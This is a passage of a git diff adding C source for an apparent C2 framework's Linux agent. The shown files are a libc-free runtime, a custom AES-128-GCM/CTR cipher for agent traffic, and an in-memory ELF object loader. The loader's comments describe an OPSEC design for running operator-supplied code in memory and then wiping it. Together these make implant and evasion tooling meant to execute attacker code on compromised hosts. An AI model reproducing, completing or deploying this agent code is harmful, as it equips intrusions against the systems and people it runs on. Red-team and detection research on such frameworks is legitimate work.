(!new_data) return; + b->data = new_data; + b->cap = new_cap; + } + ax_memcpy(b->data + b->len, data, len); + b->len += len; +} + +void buf_free(buffer_t *b) { + if (b->data) ax_free(b->data); + b->data = NULL; + b->len = 0; + b->cap = 0; +} + +void buf_reset(buffer_t *b) { + b->len = 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.h new file mode 100644 index 000000000..08d75efa9 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.h @@ -0,0 +1,41 @@ +#ifndef CRT_H +#define CRT_H + +#include +#include + +/// Memory allocation (via direct mmap/munmap syscalls — zero libc dependency) +void *ax_malloc(size_t size); +void ax_free(void *ptr); +void *ax_realloc(void *ptr, size_t new_size); + +/// Memory operations +void *ax_memset(void *s, int c, size_t n); +void *ax_memcpy(void *dst, const void *src, size_t n); +void *ax_memmove(void *dst, const void *src, size_t n); +int ax_memcmp(const void *a, const void *b, size_t n); + +/// String operations +size_t ax_strlen(const char *s); +int ax_strcmp(const char *a, const char *b); +int ax_strncmp(const char *a, const char *b, size_t n); +char *ax_strcpy(char *dst, const char *src); +char *ax_strncpy(char *dst, const char *src, size_t n); +char *ax_strcat(char *dst, const char *src); +char *ax_strstr(const char *haystack, const char *needle); +char *ax_strchr(const char *s, int c); + +/// Integer conversion +int ax_atoi(const char *s); +int ax_hextoi(const char *s); +char *ax_itoa(int val, char *buf, int base); + +/// Random bytes (reads /dev/urandom via syscall) +int ax_random_bytes(void *buf, size_t len); + +/// Formatted output (nostdlib vsnprintf) +#include +int ax_vsnprintf(char *buf, size_t size, const char *fmt, va_list ap); +int ax_snprintf(char *buf, size_t size, const char *fmt, ...); + +#endif // CRT_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.c new file mode 100644 index 000000000..683564e3d --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.c @@ -0,0 +1,348 @@ +#include "crypt.h" +#include "crt.h" + +/// ---- AES-128 Core ---- + +static const uint8_t aes_sbox[256] = { + 0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76, + 0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0, + 0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15, + 0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75, + 0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84, + 0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF, + 0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8, + 0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2, + 0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73, + 0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB, + 0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79, + 0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08, + 0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A, + 0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E, + 0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF, + 0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16 +}; + +static const uint8_t aes_rcon[10] = { + 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36 +}; + +#define AES128_ROUNDS 10 +#define AES128_NK 4 +#define AES128_NB 4 + +static void aes128_key_expand(const uint8_t* key, uint8_t* rk) { + ax_memcpy(rk, key, 16); + for (int i = AES128_NK; i < AES128_NB * (AES128_ROUNDS + 1); i++) { + uint8_t temp[4]; + temp[0] = rk[(i-1)*4 + 0]; + temp[1] = rk[(i-1)*4 + 1]; + temp[2] = rk[(i-1)*4 + 2]; + temp[3] = rk[(i-1)*4 + 3]; + if (i % AES128_NK == 0) { + uint8_t t = temp[0]; + temp[0] = temp[1]; temp[1] = temp[2]; + temp[2] = temp[3]; temp[3] = t; + temp[0] = aes_sbox[temp[0]]; temp[1] = aes_sbox[temp[1]]; + temp[2] = aes_sbox[temp[2]]; temp[3] = aes_sbox[temp[3]]; + temp[0] ^= aes_rcon[i/AES128_NK - 1]; + } + rk[i*4 + 0] = rk[(i-AES128_NK)*4 + 0] ^ temp[0]; + rk[i*4 + 1] = rk[(i-AES128_NK)*4 + 1] ^ temp[1]; + rk[i*4 + 2] = rk[(i-AES128_NK)*4 + 2] ^ temp[2]; + rk[i*4 + 3] = rk[(i-AES128_NK)*4 + 3] ^ temp[3]; + } +} + +static uint8_t gf_mul(uint8_t a, uint8_t b) { + uint8_t result = 0; + while (b) { + if (b & 1) result ^= a; + uint8_t hi = a & 0x80; + a <<= 1; + if (hi) a ^= 0x1B; + b >>= 1; + } + return result; +} + +static void sub_bytes(uint8_t* state) { + for (int i = 0; i < 16; i++) + state[i] = aes_sbox[state[i]]; +} + +static void shift_rows(uint8_t* s) { + uint8_t t; + t = s[1]; s[1] = s[5]; s[5] = s[9]; s[9] = s[13]; s[13] = t; + t = s[2]; s[2] = s[10]; s[10] = t; t = s[6]; s[6] = s[14]; s[14] = t; + t = s[15]; s[15] = s[11]; s[11] = s[7]; s[7] = s[3]; s[3] = t; +} + +static void mix_columns(uint8_t* s) { + for (int c = 0; c < 4; c++) { + int i = c * 4; + uint8_t a0 = s[i], a1 = s[i+1], a2 = s[i+2], a3 = s[i+3]; + s[i] = gf_mul(a0,2) ^ gf_mul(a1,3) ^ a2 ^ a3; + s[i+1] = a0 ^ gf_mul(a1,2) ^ gf_mul(a2,3) ^ a3; + s[i+2] = a0 ^ a1 ^ gf_mul(a2,2) ^ gf_mul(a3,3); + s[i+3] = gf_mul(a0,3) ^ a1 ^ a2 ^ gf_mul(a3,2); + } +} + +static void add_round_key(uint8_t* state, const uint8_t* rk, int round) { + for (int i = 0; i < 16; i++) + state[i] ^= rk[round * 16 + i]; +} + +static void aes128_encrypt_block(const uint8_t* in, uint8_t* out, const uint8_t* rk) { + uint8_t state[16]; + ax_memcpy(state, in, 16); + add_round_key(state, rk, 0); + for (int round = 1; round < AES128_ROUNDS; round++) { + sub_bytes(state); + shift_rows(state); + mix_columns(state); + add_round_key(state, rk, round); + } + sub_bytes(state); + shift_rows(state); + add_round_key(state, rk, AES128_ROUNDS); + ax_memcpy(out, state, 16); +} + +/// ---- GCM Mode ---- + +static void ghash_mul(uint8_t* x, const uint8_t* h) { + uint8_t z[16] = {0}; + uint8_t v[16]; + ax_memcpy(v, h, 16); + for (int i = 0; i < 128; i++) { + if (x[i / 8] & (0x80 >> (i % 8))) { + for (int j = 0; j < 16; j++) z[j] ^= v[j]; + } + uint8_t carry = v[15] & 1; + for (int j = 15; j > 0; j--) + v[j] = (v[j] >> 1) | (v[j-1] << 7); + v[0] >>= 1; + if (carry) v[0] ^= 0xE1; + } + ax_memcpy(x, z, 16); +} + +static void inc32(uint8_t* counter) { + for (int i = 15; i >= 12; i--) { + if (++counter[i]) break; + } +} + +static void aes_ctr(const uint8_t* rk, uint8_t* counter, + const uint8_t* in, uint8_t* out, size_t len) { + uint8_t keystream[16]; + size_t offset = 0; + while (offset < len) { + aes128_encrypt_block(counter, keystream, rk); + inc32(counter); + size_t chunk = len - offset; + if (chunk > 16) chunk = 16; + for (size_t i = 0; i < chunk; i++) + out[offset + i] = in[offset + i] ^ keystream[i]; + offset += chunk; + } +} + +/// ---- Public API ---- + +uint8_t* aes128_gcm_encrypt(const uint8_t* plaintext, size_t plaintext_len, + const uint8_t* key, size_t* out_len) { + uint8_t rk[176]; + aes128_key_expand(key, rk); + + uint8_t h[16] = {0}; + aes128_encrypt_block(h, h, rk); + + uint8_t nonce[GCM_NONCE_SIZE]; + ax_random_bytes(nonce, GCM_NONCE_SIZE); + + uint8_t j0[16] = {0}; + ax_memcpy(j0, nonce, GCM_NONCE_SIZE); + j0[15] = 1; + + uint8_t counter[16]; + ax_memcpy(counter, j0, 16); + inc32(counter); + + *out_len = GCM_NONCE_SIZE + plaintext_len + GCM_TAG_SIZE; + uint8_t* output = (uint8_t*)ax_malloc(*out_len); + if (!output) return (uint8_t*)0; + + ax_memcpy(output, nonce, GCM_NONCE_SIZE); + + uint8_t* ct = output + GCM_NONCE_SIZE; + if (plaintext_len > 0) { + aes_ctr(rk, counter, plaintext, ct, plaintext_len); + } + + uint8_t ghash_out[16] = {0}; + size_t ct_blocks = plaintext_len / 16; + for (size_t i = 0; i < ct_blocks; i++) { + for (int j = 0; j < 16; j++) + ghash_out[j] ^= ct[i * 16 + j]; + ghash_mul(ghash_out, h); + } + size_t ct_rem = plaintext_len % 16; + if (ct_rem > 0) { + for (size_t j = 0; j < ct_rem; j++) + ghash_out[j] ^= ct[ct_blocks * 16 + j]; + ghash_mul(ghash_out, h); + } + + uint8_t len_block[16] = {0}; + uint64_t ct_bits = (uint64_t)plaintext_len * 8; + len_block[8] = (uint8_t)(ct_bits >> 56); + len_block[9] = (uint8_t)(ct_bits >> 48); + len_block[10] = (uint8_t)(ct_bits >> 40); + len_block[11] = (uint8_t)(ct_bits >> 32); + len_block[12] = (uint8_t)(ct_bits >> 24); + len_block[13] = (uint8_t)(ct_bits >> 16); + len_block[14] = (uint8_t)(ct_bits >> 8); + len_block[15] = (uint8_t)(ct_bits); + for (int j = 0; j < 16; j++) + ghash_out[j] ^= len_block[j]; + ghash_mul(ghash_out, h); + + uint8_t tag[16]; + aes128_encrypt_block(j0, tag, rk); + for (int j = 0; j < 16; j++) + tag[j] ^= ghash_out[j]; + + ax_memcpy(output + GCM_NONCE_SIZE + plaintext_len, tag, GCM_TAG_SIZE); + + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + + return output; +} + +uint8_t* aes128_gcm_decrypt(const uint8_t* data, size_t data_len, + const uint8_t* key, size_t* out_len) { + if (data_len < GCM_NONCE_SIZE + GCM_TAG_SIZE) + return (uint8_t*)0; + + size_t ct_len = data_len - GCM_NONCE_SIZE - GCM_TAG_SIZE; + const uint8_t* nonce = data; + const uint8_t* ct = data + GCM_NONCE_SIZE; + const uint8_t* tag = data + GCM_NONCE_SIZE + ct_len; + + uint8_t rk[176]; + aes128_key_expand(key, rk); + + uint8_t h[16] = {0}; + aes128_encrypt_block(h, h, rk); + + uint8_t j0[16] = {0}; + ax_memcpy(j0, nonce, GCM_NONCE_SIZE); + j0[15] = 1; + + uint8_t ghash_out[16] = {0}; + size_t ct_blocks = ct_len / 16; + for (size_t i = 0; i < ct_blocks; i++) { + for (int j = 0; j < 16; j++) + ghash_out[j] ^= ct[i * 16 + j]; + ghash_mul(ghash_out, h); + } + size_t ct_rem = ct_len % 16; + if (ct_rem > 0) { + for (size_t j = 0; j < ct_rem; j++) + ghash_out[j] ^= ct[ct_blocks * 16 + j]; + ghash_mul(ghash_out, h); + } + + uint8_t len_block[16] = {0}; + uint64_t ct_bits = (uint64_t)ct_len * 8; + len_block[8] = (uint8_t)(ct_bits >> 56); + len_block[9] = (uint8_t)(ct_bits >> 48); + len_block[10] = (uint8_t)(ct_bits >> 40); + len_block[11] = (uint8_t)(ct_bits >> 32); + len_block[12] = (uint8_t)(ct_bits >> 24); + len_block[13] = (uint8_t)(ct_bits >> 16); + len_block[14] = (uint8_t)(ct_bits >> 8); + len_block[15] = (uint8_t)(ct_bits); + for (int j = 0; j < 16; j++) + ghash_out[j] ^= len_block[j]; + ghash_mul(ghash_out, h); + + uint8_t computed_tag[16]; + aes128_encrypt_block(j0, computed_tag, rk); + for (int j = 0; j < 16; j++) + computed_tag[j] ^= ghash_out[j]; + + // Constant-time tag comparison + uint8_t diff = 0; + for (int j = 0; j < GCM_TAG_SIZE; j++) + diff |= computed_tag[j] ^ tag[j]; + + if (diff != 0) { + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + return (uint8_t*)0; + } + + *out_len = ct_len; + uint8_t* plaintext = (uint8_t*)ax_malloc(ct_len > 0 ? ct_len : 1); + if (!plaintext) { + ax_memset(rk, 0, sizeof(rk)); + return (uint8_t*)0; + } + + uint8_t counter[16]; + ax_memcpy(counter, j0, 16); + inc32(counter); + + if (ct_len > 0) { + aes_ctr(rk, counter, ct, plaintext, ct_len); + } + + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + + return plaintext; +} + +/// ---- Public AES-CTR wrappers (for tunnel/terminal) ---- + +void aes128_expand_key(const uint8_t* key, uint8_t* round_keys) { + aes128_key_expand(key, round_keys); +} + +void aes128_ctr_init(aes128_ctr_ctx_t* ctx, const uint8_t* key, const uint8_t* iv) { + aes128_key_expand(key, ctx->round_keys); + for (int i = 0; i < 16; i++) ctx->counter[i] = iv[i]; + ctx->ks_offset = 16; + for (int i = 0; i < 16; i++) ctx->keystream[i] = 0; +} + +void aes128_ctr_process(aes128_ctr_ctx_t* ctx, + const uint8_t* in, uint8_t* out, size_t len) { + size_t pos = 0; + while (pos < len && ctx->ks_offset < 16) { + out[pos] = in[pos] ^ ctx->keystream[ctx->ks_offset]; + ctx->ks_offset++; + pos++; + } + while (pos + 16 <= len) { + aes128_encrypt_block(ctx->counter, ctx->keystream, ctx->round_keys); + inc32(ctx->counter); + for (int i = 0; i < 16; i++) + out[pos + i] = in[pos + i] ^ ctx->keystream[i]; + pos += 16; + } + if (pos < len) { + aes128_encrypt_block(ctx->counter, ctx->keystream, ctx->round_keys); + inc32(ctx->counter); + ctx->ks_offset = 0; + while (pos < len) { + out[pos] = in[pos] ^ ctx->keystream[ctx->ks_offset]; + ctx->ks_offset++; + pos++; + } + } +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.h new file mode 100644 index 000000000..0cda22042 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.h @@ -0,0 +1,55 @@ +#ifndef CRYPT_H +#define CRYPT_H + +#include +#include + +/// AES-128-GCM encryption/decryption +/// Format: [nonce 12 bytes][ciphertext][tag 16 bytes] +/// Key: 16 bytes (AES-128) +/// Matches Go's crypto/aes + cipher.NewGCM with 16-byte key + +#define AES_KEY_SIZE 16 +#define AES_BLOCK_SIZE 16 +#define GCM_NONCE_SIZE 12 +#define GCM_TAG_SIZE 16 + +/// Encrypt plaintext with AES-128-GCM. +/// Allocates output buffer [nonce][ciphertext][tag]. +/// Returns output and sets *out_len. Caller must free output. +uint8_t *aes128_gcm_encrypt(const uint8_t *plaintext, size_t plaintext_len, + const uint8_t *key, + size_t *out_len); + +/// Decrypt AES-128-GCM ciphertext. +/// Input format: [nonce 12B][ciphertext][tag 16B]. +/// Returns plaintext and sets *out_len. Caller must free output. +/// Returns NULL on authentication failure. +uint8_t *aes128_gcm_decrypt(const uint8_t *data, size_t data_len, + const uint8_t *key, + size_t *out_len); + +/// Expand AES-128 key into round keys (176 bytes) +void aes128_expand_key(const uint8_t *key, uint8_t *round_keys); + +/// AES-128-CTR for tunnel/terminal streaming +/// Key: 16 bytes, IV: 16 bytes (used as initial counter) + +/// CTR stream context -- preserves partial keystream between calls. +/// This matches Go's cipher.NewCTR behavior where partial blocks +/// are carried across calls. +typedef struct { + uint8_t round_keys[176]; + uint8_t counter[16]; + uint8_t keystream[16]; /* cached keystream block */ + uint8_t ks_offset; /* how many bytes used in current keystream (0-16) */ +} aes128_ctr_ctx_t; + +/// Initialize CTR context with key and IV +void aes128_ctr_init(aes128_ctr_ctx_t *ctx, const uint8_t *key, const uint8_t *iv); + +/// Process data with CTR stream (preserves partial block state) +void aes128_ctr_process(aes128_ctr_ctx_t *ctx, + const uint8_t *in, uint8_t *out, size_t len); + +#endif /* CRYPT_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.c new file mode 100644 index 000000000..422c00fa6 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.c @@ -0,0 +1,1060 @@ +/// elf_bof.c — ELF BOF Loader for Linux Agent +/// In-memory loader for ELF relocatable objects (.o files compiled with gcc -c) +/// Supports x86_64 and ARM64 relocations +/// OPSEC: mmap(RW) → mprotect per-section → execute → zero → munmap + +#include "elf_bof.h" +#include "crt.h" +#include "types.h" +#include "msgpack.h" +#include "jobs.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// mprotect constants +#define PROT_NONE 0x0 +#define PROT_READ 0x1 +#define PROT_WRITE 0x2 +#define PROT_EXEC 0x4 +#define MAP_PRIVATE 0x02 +#define MAP_ANONYMOUS 0x20 +#define MAP_FAILED ((void *)-1) + +/// External BOF API functions (from bof_api.c) +extern void bof_output_init(void); +extern void bof_output_cleanup(void); +extern const char *bof_output_get(int *out_len); +extern int bof_output_get_error(void); +extern void *bof_resolve_symbol(const char *name); +extern void bof_set_async_ctx(void *ctx, int stop_fd); +extern void bof_clear_async_ctx(void); + +/// ──────────────────────────────────────────────────────────────────────────── +/// Internal structures +/// ──────────────────────────────────────────────────────────────────────────── + +/// Loaded section descriptor +typedef struct { + void *base; // pointer within the contiguous arena + size_t size; // allocated size (page-aligned) + size_t raw_size; // original section size + uint32_t flags; // ELF section flags (SHF_*) + int shndx; // original section index in ELF +} loaded_section_t; + +/// Contiguous memory arena for all BOF sections + trampolines. +/// All sections are allocated within a single mmap to guarantee PC-relative +/// relocations (R_X86_64_PC32, R_X86_64_PLT32) stay within ±2 GB range. +typedef struct { + void *base; // single mmap base + size_t total_size; // total mmap'd size + void *trampoline; // pointer to trampoline area within arena + int tramp_count; // number of trampolines written +} bof_arena_t; + +/// Resolved symbol value +typedef struct { + uint64_t value; // resolved address + int section; // section index (-1 if external) + int resolved; // 1 if resolved +} sym_value_t; + +/// BOF entry function type +typedef void (*bof_entry_t)(char *args, int args_len); + +/// ──────────────────────────────────────────────────────────────────────────── +/// Page alignment +/// ──────────────────────────────────────────────────────────────────────────── + +static inline size_t page_align(size_t size) { + return (size + 4095) & ~(size_t)4095; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Validate ELF header +/// ──────────────────────────────────────────────────────────────────────────── + +static int validate_elf(const Elf64_Ehdr *ehdr, uint32_t file_size) { + // Check magic + if (ehdr->e_ident[0] != ELFMAG0 || ehdr->e_ident[1] != ELFMAG1 || + ehdr->e_ident[2] != ELFMAG2 || ehdr->e_ident[3] != ELFMAG3) + return -1; + + // Check 64-bit little-endian + if (ehdr->e_ident[4] != ELFCLASS64 || ehdr->e_ident[5] != ELFDATA2LSB) + return -1; + + // Must be relocatable object (ET_REL) + if (ehdr->e_type != ET_REL) + return -1; + + // Check machine type matches our build +#ifdef ARCH_X86_64 + if (ehdr->e_machine != EM_X86_64) + return -1; +#endif +#ifdef ARCH_AARCH64 + if (ehdr->e_machine != EM_AARCH64) + return -1; +#endif + + // Bounds check section header table + if (ehdr->e_shoff == 0 || ehdr->e_shnum == 0) + return -1; + if (ehdr->e_shoff + (uint64_t)ehdr->e_shnum * ehdr->e_shentsize > file_size) + return -1; + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Allocate sections — single contiguous mmap for all SHF_ALLOC sections +/// This guarantees all inter-section PC-relative relocations (R_X86_64_PC32, +/// R_X86_64_PLT32, ARM64 CALL26/JUMP26) fit within ±2 GB / ±128 MB range. +/// A trampoline area is appended for external function calls. +/// ──────────────────────────────────────────────────────────────────────────── + +/// Max trampolines (one per unique external symbol reference) +#define BOF_MAX_TRAMPOLINES 128 + +/// Trampoline stub sizes +#ifdef ARCH_X86_64 +#define TRAMPOLINE_SIZE 14 // FF 25 00 00 00 00 [8-byte addr] = jmp [rip+0] +#endif +#ifdef ARCH_AARCH64 +#define TRAMPOLINE_SIZE 16 // ldr x16, [pc+8]; br x16; .quad addr +#endif + +static int allocate_sections(const uint8_t *elf_data, const Elf64_Ehdr *ehdr, + const Elf64_Shdr *shdrs, + loaded_section_t *sections, int *num_sections, + bof_arena_t *arena) { + *num_sections = 0; + arena->base = (void *)0; + arena->total_size = 0; + arena->trampoline = (void *)0; + arena->tramp_count = 0; + + // ── Pass 1: compute total size needed ── + // Each section is page-aligned so mprotect per-section doesn't conflict + size_t total = 0; + for (int i = 0; i < ehdr->e_shnum; i++) { + const Elf64_Shdr *shdr = &shdrs[i]; + if (!(shdr->sh_flags & SHF_ALLOC)) + continue; + total = page_align(total); // page-align each section start + total += shdr->sh_size > 0 ? shdr->sh_size : 16; + } + // Trampoline area (page-aligned start, enough for max trampolines) + total = page_align(total); + size_t tramp_offset = total; + total += page_align(BOF_MAX_TRAMPOLINES * TRAMPOLINE_SIZE); + + // ── Pass 2: single mmap ── + size_t mmap_size = page_align(total); + void *base = sys_mmap((void *)0, mmap_size, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (base == MAP_FAILED) + return -1; + + ax_memset(base, 0, mmap_size); + arena->base = base; + arena->total_size = mmap_size; + arena->trampoline = (uint8_t *)base + tramp_offset; + arena->tramp_count = 0; + + // ── Pass 3: lay out sections within the arena (page-aligned) ── + size_t offset = 0; + for (int i = 0; i < ehdr->e_shnum && *num_sections < BOF_MAX_SECTIONS; i++) { + const Elf64_Shdr *shdr = &shdrs[i]; + if (!(shdr->sh_flags & SHF_ALLOC)) + continue; + + offset = page_align(offset); // page-align each section + + size_t sec_size = shdr->sh_size > 0 ? shdr->sh_size : 16; + void *sec_base = (uint8_t *)base + offset; + + // Copy section data (SHT_NOBITS sections like .bss are zero-filled already) + if (shdr->sh_type != SHT_NOBITS && shdr->sh_size > 0) { + ax_memcpy(sec_base, elf_data + shdr->sh_offset, shdr->sh_size); + } + + loaded_section_t *ls = §ions[*num_sections]; + ls->base = sec_base; + ls->size = sec_size; + ls->raw_size = shdr->sh_size; + ls->flags = (uint32_t)shdr->sh_flags; + ls->shndx = i; + (*num_sections)++; + + offset += sec_size; + } + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Write a trampoline stub for an external function, returns stub address +/// ──────────────────────────────────────────────────────────────────────────── + +static void *write_trampoline(bof_arena_t *arena, uint64_t target_addr) { + if (arena->tramp_count >= BOF_MAX_TRAMPOLINES) + return (void *)0; + + uint8_t *stub = (uint8_t *)arena->trampoline + (arena->tramp_count * TRAMPOLINE_SIZE); + arena->tramp_count++; + +#ifdef ARCH_X86_64 + // jmp [rip+0] ; .quad target_addr + // FF 25 00 00 00 00 xx xx xx xx xx xx xx xx + stub[0] = 0xFF; + stub[1] = 0x25; + stub[2] = 0x00; + stub[3] = 0x00; + stub[4] = 0x00; + stub[5] = 0x00; + ax_memcpy(stub + 6, &target_addr, 8); +#endif + +#ifdef ARCH_AARCH64 + // ldr x16, #8 → 58000050 + // br x16 → D61F0200 + // .quad target_addr + uint32_t ldr_insn = 0x58000050; // ldr x16, pc+8 + uint32_t br_insn = 0xD61F0200; // br x16 + ax_memcpy(stub + 0, &ldr_insn, 4); + ax_memcpy(stub + 4, &br_insn, 4); + ax_memcpy(stub + 8, &target_addr, 8); +#endif + + return (void *)stub; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Find loaded section by ELF section index +/// ──────────────────────────────────────────────────────────────────────────── + +static loaded_section_t *find_loaded_section(loaded_section_t *sections, int num_sections, int shndx) { + for (int i = 0; i < num_sections; i++) { + if (sections[i].shndx == shndx) + return §ions[i]; + } + return (loaded_section_t *)0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Resolve all symbols +/// ──────────────────────────────────────────────────────────────────────────── + +static int resolve_symbols(const Elf64_Sym *symtab, int num_syms, + const char *strtab, + loaded_section_t *sections, int num_sections, + sym_value_t *sym_values, bof_arena_t *arena, + char *err_symbol, int err_symbol_size) { + for (int i = 0; i < num_syms; i++) { + const Elf64_Sym *sym = &symtab[i]; + sym_values[i].resolved = 0; + sym_values[i].value = 0; + sym_values[i].section = -1; + + // STT_SECTION symbols — point to the loaded section base + if (ELF64_ST_TYPE(sym->st_info) == 3 /* STT_SECTION */) { + loaded_section_t *ls = find_loaded_section(sections, num_sections, sym->st_shndx); + if (ls) { + sym_values[i].value = (uint64_t)(uintptr_t)ls->base; + sym_values[i].section = sym->st_shndx; + sym_values[i].resolved = 1; + } + continue; + } + + // Defined symbols (st_shndx != SHN_UNDEF) + if (sym->st_shndx != SHN_UNDEF) { + loaded_section_t *ls = find_loaded_section(sections, num_sections, sym->st_shndx); + if (ls) { + sym_values[i].value = (uint64_t)(uintptr_t)ls->base + sym->st_value; + sym_values[i].section = sym->st_shndx; + sym_values[i].resolved = 1; + } + continue; + } + + // Undefined symbol — must be a BOF API function + const char *name = strtab + sym->st_name; + if (sym->st_name == 0 || name[0] == '\0') { + // Empty name for symbol 0 — skip + sym_values[i].resolved = 1; + continue; + } + + void *func = bof_resolve_symbol(name); + if (func) { + // External function: create a trampoline stub within the arena + // so that PC-relative relocations (R_X86_64_PLT32, ARM64 CALL26) + // can reach it within ±2 GB / ±128 MB range + void *tramp = write_trampoline(arena, (uint64_t)(uintptr_t)func); + if (tramp) { + sym_values[i].value = (uint64_t)(uintptr_t)tramp; + } else { + // Fallback: use direct address (may overflow for PLT32/CALL26 + // but works for R_X86_64_64/R_AARCH64_ABS64) + sym_values[i].value = (uint64_t)(uintptr_t)func; + } + sym_values[i].section = -1; // external + sym_values[i].resolved = 1; + } else { + // Weak symbols are allowed to be unresolved (value = 0) + if (ELF64_ST_BIND(sym->st_info) == STB_WEAK) { + sym_values[i].value = 0; + sym_values[i].resolved = 1; + } else { + // Fatal: unresolved symbol + ax_strncpy(err_symbol, name, err_symbol_size - 1); + err_symbol[err_symbol_size - 1] = '\0'; + return -1; + } + } + } + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Apply relocations — x86_64 +/// ──────────────────────────────────────────────────────────────────────────── + +#ifdef ARCH_X86_64 +static int apply_relocations_x64(const Elf64_Rela *relas, int num_relas, + sym_value_t *sym_values, + loaded_section_t *target_section) { + for (int i = 0; i < num_relas; i++) { + const Elf64_Rela *rela = &relas[i]; + uint32_t sym_idx = (uint32_t)ELF64_R_SYM(rela->r_info); + uint32_t type = (uint32_t)ELF64_R_TYPE(rela->r_info); + + if (!sym_values[sym_idx].resolved) + return -1; + + uint64_t S = sym_values[sym_idx].value; + int64_t A = rela->r_addend; + uint8_t *P = (uint8_t *)target_section->base + rela->r_offset; + + switch (type) { + case R_X86_64_64: + *(uint64_t *)P = S + A; + break; + + case R_X86_64_PC32: + case R_X86_64_PLT32: { + int64_t val = (int64_t)S + A - (int64_t)(uintptr_t)P; + *(int32_t *)P = (int32_t)val; + break; + } + + case R_X86_64_32: + *(uint32_t *)P = (uint32_t)(S + A); + break; + + case R_X86_64_32S: + *(int32_t *)P = (int32_t)(S + A); + break; + + default: + // Unsupported relocation type — skip (non-fatal) + break; + } + } + return 0; +} +#endif + +/// ──────────────────────────────────────────────────────────────────────────── +/// Apply relocations — ARM64 (AArch64) +/// ──────────────────────────────────────────────────────────────────────────── + +#ifdef ARCH_AARCH64 +static int apply_relocations_arm64(const Elf64_Rela *relas, int num_relas, + sym_value_t *sym_values, + loaded_section_t *target_section) { + for (int i = 0; i < num_relas; i++) { + const Elf64_Rela *rela = &relas[i]; + uint32_t sym_idx = (uint32_t)ELF64_R_SYM(rela->r_info); + uint32_t type = (uint32_t)ELF64_R_TYPE(rela->r_info); + + if (!sym_values[sym_idx].resolved) + return -1; + + uint64_t S = sym_values[sym_idx].value; + int64_t A = rela->r_addend; + uint8_t *P = (uint8_t *)target_section->base + rela->r_offset; + + switch (type) { + case R_AARCH64_ABS64: + *(uint64_t *)P = S + A; + break; + + case R_AARCH64_CALL26: + case R_AARCH64_JUMP26: { + int64_t offset = ((int64_t)S + A - (int64_t)(uintptr_t)P) >> 2; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFC000000) | (offset & 0x3FFFFFF); + break; + } + + case R_AARCH64_ADR_PREL_PG_HI21: { + int64_t page_s = ((int64_t)S + A) & ~0xFFFLL; + int64_t page_p = (int64_t)(uintptr_t)P & ~0xFFFLL; + int64_t offset = page_s - page_p; + uint32_t immlo = ((offset >> 12) & 0x3) << 29; + uint32_t immhi = ((offset >> 14) & 0x7FFFF) << 5; + uint32_t *insn = (uint32_t *)P; 